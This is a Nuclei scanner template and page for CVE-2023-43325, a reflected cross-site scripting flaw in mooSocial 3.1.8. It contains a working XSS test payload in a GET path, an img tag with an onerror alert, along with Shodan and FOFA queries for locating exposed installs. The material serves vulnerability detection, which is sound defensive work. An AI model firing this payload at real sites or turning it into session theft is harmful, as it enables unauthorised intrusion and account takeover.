MooSocial 3.1.8 - Cross-Site Scripting

ID: CVE-2023-43325

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,xss,moosocial

Description

A reflected cross-site scripting (XSS) vulnerability exisits in the data[redirect_url] parameter on user login function of mooSocial v3.1.8 which allows attackers to steal user’s session cookies and impersonate their account via a crafted URL.

YAML Source

id: CVE-2023-43325

info:
  name: MooSocial 3.1.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exisits in the data[redirect_url] parameter on user login function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
  reference:
    - https://github.com/ahrixia/CVE-2023-43325
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43325
    - https://moosocial.com/
    - https://travel.moosocial.com/
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-43325
    cwe-id: CWE-79
    epss-score: 0.18316
    epss-percentile: 0.96187
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moosocial
    shodan-query: http.favicon.hash:"702863115"
    fofa-query: icon_hash="702863115"
  tags: cve2023,cve,xss,moosocial

http:
  - method: GET
    path:
      - "{{BaseURL}}/users/test%22%3E%3Cimg%20src=a%20onerror=alert(document.domain)%3Etest"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<img src=a onerror=alert(document.domain)>", "mooSocial")'
        condition: and
# digest: 4b0a00483046022100b348fda29be3a42f40e3665041cdca98dd1e0b73d19e1b3ca6e89dfd97b9eb15022100c77d9d1a8c10a7dc94ab7dea16591b4ebc70de6335f1a9e179cc63f9f8a36a7c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-43325.yaml"

View on Github